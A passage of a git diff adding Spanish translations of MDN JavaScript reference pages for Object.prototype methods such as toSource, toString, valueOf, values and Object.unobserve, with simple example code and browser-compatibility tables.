+<p>En los objetos <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code> se puede utilizar <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toLocaleString">toLocaleString()</a></code> para imprimir los valores del <em>array</em> como un string, con indicadores opcionales de configuración regional (como símbolos de moneda) aplicados.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: js notranslate">const unArray = [4, 7, 10];
+
+let preciosEnEuros = unArray.toLocaleString('fr', { style: 'currency', currency: 'EUR'});
+// "4,00 €,7,00 €,10,00 €"</pre>
+
+<h3 id="Redefinición_de_toLocaleString_para_Date">Redefinición de toLocaleString() para Date</h3>
+
+<p>En los objetos <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code> se usa <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleString">toLocaleString()</a></code> para imprimir fechas en un formato adecuado a la configuración regional.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: js notranslate">const unaFecha = new Date(Date.now());
+// <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox"><span class="objectTitle">"</span>2020-07-07T19:51:44.046Z<span class="Date">"
+
+</span></span></span></span></span>let fechaAleman = unaFecha.toLocaleString('de');
+// "7.7.2020, 21:55:22"
+
+var fechaFrances= unaFecha.toLocaleString('fr');
+//"07/07/2020 à 21:55:22"</pre>
+
+<h3 id="Redefinición_de_toLocaleString_para_Number">Redefinición de toLocaleString() para Number</h3>
+
+<p>En los objetos <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> se usa <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toLocaleString">toLocaleString()</a></code> para imprimir números de forma adecuada a la configuración regional, p. ej. para usar los separadores de miles correctos.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: js notranslate">const unNumero = 2901234564;
+// <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number">"2901234564"
+
+</span></span></span></span>let numeroAleman = unNumero.toLocaleString('de');
+// "2.901.234.564"
+
+let numeroFrances = unNumero.toLocaleString('fr');
+// "2 901 234 564"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.toLocaleString")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/tosource/index.html b/files/es/web/javascript/referencia/objetos_globales/object/tosource/index.html
new file mode 100644
index 0000000000..713a176b0b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/tosource/index.html
@@ -0,0 +1,126 @@
+---
+title: Object.prototype.toSource()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/toSource
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El método <strong><code>toSource()</code></strong> regresa una cadena representando el código fuente del objeto.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Object.toSource();
+<var>obj</var>.toSource();
+</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Una cadena representando el código fuente del objeto.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>EL método <code>toSource()</code> regresa los siguientes valores:</p>
+
+<ul>
+ <li>Para el objeto incorporado {{jsxref("Object")}}, <code>toSource()</code> regresa la siguiente cadena indicando que el código fuente no está disponible:
+
+  <pre class="brush: js">function Object() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Para instancias de {{jsxref("Object")}}, <code>toSource()</code> regresa una cadena representando el código fuente.</li>
+</ul>
+
+<p>Puedes llamar el método <code>toSource()</code> durante el depurado para examinar el contenido de un objeto.</p>
+
+<h3 id="Sobreescribir_el_método_toSource()"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #333333;">Sobreescribir el método </span></font>toSource()</code></h3>
+
+<p>Es seguro para los objetos sobreescribir el método <strong>toSource()</strong><strong>.</strong> Por ejemplo:</p>
+
+<pre class="brush: js">function Person(name) {
+  this.name = name;
+}
+
+Person.prototype.toSource = function Person_toSource() {
+  return 'new Person(' + uneval(this.name) + ')';
+};
+
+console.log(new Person('Joe').toSource()); // ---&gt; nueva Person("Joe")
+</pre>
+
+<h3 id="Métodos_de_toSource()_incorporados">Métodos de <code>toSource()</code> incorporados</h3>
+
+<p>Cada tipo fundamental de JavaScript tiene su propio método <code>toSource()</code>.  Éstos objetos son:</p>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Array")}} object.</li>
+ <li>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Boolean")}} object.</li>
+ <li>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Date")}} object.</li>
+ <li>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Function")}} object.</li>
+ <li>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Number")}} object.</li>
+ <li>{{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("RegExp")}} object.</li>
+ <li>{{jsxref("SIMD.toSource()", "SIMD.%type%.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("SIMD")}} objects.</li>
+ <li>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("String")}} object.</li>
+ <li>{{jsxref("Symbol.prototype.toSource()")}} {{non-standard_inline}} — {{jsxref("Symbol")}} object.</li>
+ <li><code>Math.toSource()</code> — Regrsa la cadena "Math".</li>
+</ul>
+
+<h3 id="Limitaciones_en_objetos_cíclicos">Limitaciones en objetos cíclicos</h3>
+
+<p>EN el caso de los objetos que contienen referencia a ellos mismos, por ejemplo, una lista enlazada cíclicamente o un árbol que puede ser atravesado en ambas formas, <code>toSource()</code> no recreará la referencia a sí mismo, a partir de Firefox 24. Por ejemplo:</p>
+
+<pre class="brush: js">var obj1 = {};
+var obj2 = { a: obj1 };
+obj1.b = obj2;
+
+console.log('Ciclico: ' + (obj1.b.a == obj1));
+
+var objSource = obj1.toSource(); // regresa "({b:{a:{}}})"
+
+obj1 = eval(objSource);
+
+console.log('Ciclico: ' + (obj1.b.a == obj1));
+</pre>
+
+<p>Si una estructura cíclica es usada y se necesita el método <code>toSource()</code>, el objeto debe proveer la sobreescritura de <code>toSource()</code>, ya sea usando una referencia a un constructor o proveyendo una función anónima.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toSource()">Usando <code>toSource()</code></h3>
+
+<p>El código siguiente define el objeto tipo <code>Dog</code> y crea a <code>theDog</code>, un objeto tipo <code>Dog</code>:</p>
+
+<pre class="brush: js">function Dog(name, breed, color, sex) {
+  this.name = name;
+  this.breed = breed;
+  this.color = color;
+  this.sex = sex;
+}
+
+theDog = new Dog('Gabby', 'Lab', 'chocolate', 'female');
+</pre>
+
+<p>Llamando al método <code>toSource() de</code> <code>theDog</code> muestra el código JavaScript que define al objeto:</p>
+
+<pre class="brush: js">theDog.toSource();
+// returns ({name:"Gabby", breed:"Lab", color:"chocolate", sex:"female"})
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ningún estándar. Implementado en JavaScript 1.3.</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.toSource")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/tostring/index.html b/files/es/web/javascript/referencia/objetos_globales/object/tostring/index.html
new file mode 100644
index 0000000000..a9ffc11535
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/tostring/index.html
@@ -0,0 +1,70 @@
+---
+title: Object.prototype.toString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/toString
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString
+---
+<div>{{JSRef("Objetos_globales", "Object")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Devuelve una cadena que representa al objeto.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<p><code>toString() </code></p>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Todos los objetos tienen un método <code>toString</code> que se llama automáticamente cuando el objeto se representa como un valor de texto o cuando un objeto se referencia de tal manera que se espera una cadena. Por defecto, el método <code>toString</code> es heredado por todos los objetos que descienden de <code>Object</code>. Si este método no se sobreescribe en el objeto personalizado, <code>toString</code> devuelve <code>{{ mediawiki.external('object<em>type</em> ') }}</code>, donde <code><em>type</em> </code> es el tipo de objeto. El siguiente código ilustra esto:</p>
+
+<pre class="brush: js">var objeto = new Object();
+objeto.toString(); // Devuelve [object Object]
+</pre>
+
+<h3 id="Examples" name="Examples">Ejemplos</h3>
+
+<h4 id="Sobreescribir_el_m.C3.A9todo_por_defecto_toString" name="Sobreescribir_el_m.C3.A9todo_por_defecto_toString">Sobreescribir el método por defecto <code>toString</code></h4>
+
+<p>Puede crear una función que sea llamada en lugar del método predeterminado <code>toString</code>. El método <code>toString</code> no toma argumentos y debería devolver una cadena. El método <code>toString</code> que cree puede ser cualquier valor que quiera, pero será más útil si aporta información sobre el objeto.</p>
+
+<p>El siguiente código define el tipo de objeto <code>Perro</code> y crea <code>elPerro</code>, un objeto de tipo <code>Perro</code>:</p>
+
+<pre class="brush: js">function Perro(nombre,criadero,color,sexo) {
+   this.nombre=nombre;
+   this.criadero=criadero;
+   this.color=color;
+   this.sexo=sexo;
+}
+
+elPerro = new Perro("Gabby","Laboratorio","chocolate","femenino")
+</pre>
+
+<p>Si llama al método <code>toString</code> en el objeto personalizado, devuelve el valor predeterminado heredado de <code>Object</code>:</p>
+
+<pre class="brush: js">elPerro.toString() //devuelve [object Object]
+</pre>
+
+<p>El siguiente código crea y asigna <code>perroToString</code> para sobreescribir el método predeterminado <code>toString</code>. Esta función genera una cadena que contiene nombre, criadero, color, y sexo del objeto, en la forma "<code>propiedad = valor;</code>".</p>
+
+<pre class="brush: js">Perro.prototype.toString = function perroToString() {
+  var retorno = "Perro " + this.nombre + " es " + this.sexo + " " + this.color + " " + this.criadero;
+  return retorno;
+}
+</pre>
+
+<p>Con el código precedente en su lugar, cualquier vez que se use <code>elDog</code> en un contexto de una cadena, JavaScript automáticamente llamará a la función <code>perroToString</code>, la cuál devuelve la siguiente cadena:</p>
+
+<pre>Perro Gabby es femenino chocolate Laboratorio
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/unobserve/index.html b/files/es/web/javascript/referencia/objetos_globales/object/unobserve/index.html
new file mode 100644
index 0000000000..d500dbde21
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/unobserve/index.html
@@ -0,0 +1,138 @@
+---
+title: Object.unobserve()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/unobserve
+tags:
+  - JavaScript
+  - No estandar
+  - Objeto
+  - metodo
+translation_of: Archive/Web/JavaScript/Object.unobserve
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El método <strong>Object.unobserve()</strong> es usado para remover observadores establecidos por {{jsxref("Object.observe()")}}.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><code>Object.unobserve(<var>obj</var>, <var>callback</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto a parar de observar.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La referencia al observador a parar de llamar cada vez que se hacen cambios sobre el objeto <strong>obj</strong>.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>Object.unobserve()</code> debería ser llamado después de {{jsxref("Object.observe()")}}  en orden de remover un observador de un objeto.</p>
+
+<p>La llamada de retorno (<em>callback</em>) debería ser una referencia a una función (asignada o declarada) y no a una función anonima, debido a que ésta referencia será usada para retirar el observador previo. A menos que se llame <strong><code>Object.unobserve()</code> </strong>con una función anonima como llamada de retorno, no se removerá ningún observador.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Dejando_de_observar_un_objeto.">Dejando de observar un objeto.</h3>
+
+<pre class="brush: js">var obj = {
+  foo: 0,
+  bar: 1
+};
+
+var observer = function(changes) {
+  console.log(changes);
+}
+
+Object.observe(obj, observer);
+​
+obj.newProperty = 2;
+// [{name: 'newProperty', object: &lt;obj&gt;, type: 'add'}]
+
+Object.unobserve(obj, observer);
+
+obj.foo = 1;
+// La llamada de retorno no fue llamada</pre>
+
+<h3 id="Utilizando_una_función_anónima">Utilizando una función anónima</h3>
+
+<pre class="brush: js">var person = {
+  name : 'Ahmed',
+  age : 25
+};
+
+Object.observe(person, function (changes) {
+  console.log(changes);
+});
+
+person.age = 40;
+// [{name: 'age', object: &lt;obj&gt;, oldValue: 25, type: 'update'}]
+
+Object.unobserve(person, function (changes) {
+  console.log(changes);
+});
+
+person.age = 63;
+// [{name: 'age', object: &lt;obj&gt;, oldValue: 40, type: 'update'}]
+// La llamada de retorno siempre será llamada
+</pre>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.observe()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Array.unobserve()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/unwatch/index.html b/files/es/web/javascript/referencia/objetos_globales/object/unwatch/index.html
new file mode 100644
index 0000000000..67f565051c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/unwatch/index.html
@@ -0,0 +1,37 @@
+---
+title: Object.prototype.unwatch()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/unwatch
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Object
+  - Prototype
+  - Referencia
+translation_of: Archive/Web/JavaScript/Object.unwatch
+---
+<div>
+ {{JSRef("Objetos_globales", "Object")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Elimina un control establecido con el método {{jsxref("Object.watch", "watch()")}} sobre una propiedad de un objeto.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<p><code>unwatch(
+ <i>
+  nombrePropiedad</i>
+ ) </code></p>
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+<dl>
+ <dt>
+  <code>nombrePropiedad</code></dt>
+ <dd>
+  El nombre de la propiedad del objeto.</dd>
+</dl>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>El depurador de JavaScript tiene funciones similares a las proporcionadas por este método, además de otras opciones de depuración. Para más información acerca del depurador, vea <a href="/es/docs/Venkman">Venkman</a>.</p>
+<p>Por defecto, este método se hereda para todos los objetos descendientes de <code>Object</code>.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<p>Vea {{jsxref("Object.watch", "watch()")}}.</p>
+<h2 id="Vea_También">Vea También</h2>
+<ul>
+ <li>{{jsxref("Object.watch()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/valueof/index.html b/files/es/web/javascript/referencia/objetos_globales/object/valueof/index.html
new file mode 100644
index 0000000000..5cf466078d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/valueof/index.html
@@ -0,0 +1,157 @@
+---
+title: Object.prototype.valueOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/valueOf
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<p>El método <code><strong>valueOf()</strong></code> retorna el valor primitivo del objeto especificado.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>object</var>.valueOf()</code></pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El valor primitivo del objeto especificado.</p>
+
+<p> </p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-prototype-valueof.html")}}</p>
+
+<p> </p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>JavaScript utiliza el método <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf</span><span style="line-height: 1.5;"> para convertir un objeto a un valor primitivo. Raramente usted necesitará invocar el método </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf</span><span style="line-height: 1.5;"> por su cuenta; JavaScript lo realizará de forma automática cuando encuentre un objeto, donde un valor primitivo es esperado.</span></p>
+
+<p>Por defecto, el método <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf</span><span style="line-height: 1.5;"> es heredado por cada objeto descendiente de </span>{{jsxref("Object")}}.<span style="line-height: 1.5;"> Cada objeto incorporado en el núcleo del lenguaje sobreescribe este método para retornar un valor apropiado. Si un objeto no tiene un valor primitivo, </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf</span><span style="line-height: 1.5;"> devuelve el objeto en sí.</span></p>
+
+<p>Puede utilizar <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf </span><span style="line-height: 1.5;">dentro de su propio código para convertir un objeto incorporado en el núcleo del lenguaje en un valor primitivo. Cuando usted crea un objeto personalizado, puede sobreescribir el comportamiento de </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">Object.prototype.valueOf()</span><span style="line-height: 1.5;"> para invocar un método personalizado, en vez de utilizar el método por defecto </span><span style="line-height: 1.5;">{{jsxref("Object")}}.</span></p>
+
+<h3 id="Sobreescribiendo_valueOf_para_objetos_personalizados">Sobreescribiendo <code>valueOf</code> para objetos personalizados</h3>
+
+<p>Puede crear una función para ser invocada en lugar de utilizar el método <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf</span><span style="line-height: 1.5;"> por defecto. Su función no debe contener ningún parámetro.</span></p>
+
+<p><span style="line-height: 1.5;">Suponga que tiene un objeto de tipo </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">myNumberType</span><span style="line-height: 1.5;"> y usted quiere crear un método </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf</span><span style="line-height: 1.5;"> para este. El código a continuación asigna una función personalizada al método </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf</span><span style="line-height: 1.5;">:</span></p>
+
+<pre class="brush: js">myNumberType.prototype.valueOf = function() { return customPrimitiveValue; };</pre>
+
+<p>Al tener el código anterior funcionando, cada vez que un objeto de tipo <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">myNumberType</span><span style="line-height: 1.5;"> es utilizado en un contexto donde deba ser representado por un valor primitivo, JavaScript automáticamente invocará la función definida en el código anterior.</span></p>
+
+<p><span style="line-height: 1.5;">El método </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf</span><span style="line-height: 1.5;"> es invocado usualmente por JavaScript pero usted puede invocarlo directamente como sigue a continuación:</span></p>
+
+<pre class="brush: js">myNumber.valueOf()</pre>
+
+<div class="note">
+<p><strong>Nota: </strong>Objetos en contextos de string realizan la conversión a string a través del método <span style="line-height: 1.5;">{{jsxref("Object.toString", "toString()")}} </span><span style="line-height: 1.5;">, el cual, es diferente de </span><span style="line-height: 1.5;">{{jsxref("String")}}</span><span style="line-height: 1.5;"> para convertir objetos a primitivos string utilizando el método </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">valueOf</span><span style="line-height: 1.5;">. Todos los objetos pueden ser convertidos a string, si solo "</span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">[object </span><em>type</em><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">]</span><span style="line-height: 1.5;">". Pero muchos objetos no se pueden convertir a number, boolean o function.</span></p>
+</div>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_valueOf" name="Example:_Using_valueOf">Utilizando <code>valueOf</code></h3>
+
+<pre class="brush: js">function myNumberType(n) {
+    this.number = n;
+}
+
+myNumberType.prototype.valueOf = function() {
+    return this.number;
+};
+
+myObj = new myNumberType(4);
+myObj + 3; // 7
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Commentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1ra Edición.</td>
+   <td>Estándar</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.4', 'Object.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}   </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Elemento</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Elemento</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("parseInt", "parseInt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/values/index.html b/files/es/web/javascript/referencia/objetos_globales/object/values/index.html
new file mode 100644
index 0000000000..81b56ef1e0
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/values/index.html
@@ -0,0 +1,97 @@
+---
+title: Object.values()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/values
+tags:
+  - JavaScript
+  - Objeto
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/values
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.values()</strong></code><strong> </strong>devuelve un array con los valores correspondientes a las propiedades <strong>enumerables</strong> de un objeto. Las propiedades son devueltas en el mismo orden a como lo haría un bucle {{jsxref("Statements/for...in", "for...in")}} (la única diferencia es que un bucle <code>for-in</code> también enumera las propiedades en la cadena de prototipo de un objeto).</p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-values.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Object.values(<var>obj</var>)</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Objeto cuyas propiedades enumerables serán devueltas.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un <code>array</code><strong> </strong>con las propiedades enumerables del objeto pasado como parámetro.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>Object.values()</code><strong> </strong>devuelve un array cuyos elementos son valores de propiedades enumarables que se encuentran en el objeto. El orden de las propiedades es el mismo que el dado cuando se recorre el objeto de forma manual.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var obj = { foo: 'bar', baz: 42 };
+console.log(Object.values(obj)); // ['bar', 42]
+
+// array como objeto
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.values(obj)); // ['a', 'b', 'c']
+
+// array como objeto con una ordenación aleatoria de las claves
+var an_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.values(an_obj)); // ['b', 'c', 'a']
+
+// getFoo no es una propiedade enumerable, por lo que como se observa, no se devuelve
+var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } });
+my_obj.foo = 'bar';
+console.log(Object.values(my_obj)); // ['bar']
+
+// parámetros que no son Objetos<strong> </strong>se fuerzan a que se comporten como tal
+console.log(Object.values('foo')); // ['f', 'o', 'o']
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Para dar soporte compatible con  <code>Object.values()</code> a entornos antiguos que no la soportan de forma nativa, puedes encontrar un Polyfill<strong> </strong>en <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> o en los repositorios <a href="https://github.com/es-shims/Object.values">es-shims/Object.values</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.values', 'Object.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-object.values', 'Object.values')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Object.values")}}</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/enumeracion_y_propietario_de_propiedades">Enumeración y propietarios de propiedades</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.entries()")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/watch/index.html b/files/es/web/javascript/referencia/objetos_globales/object/watch/index.html
new file mode 100644
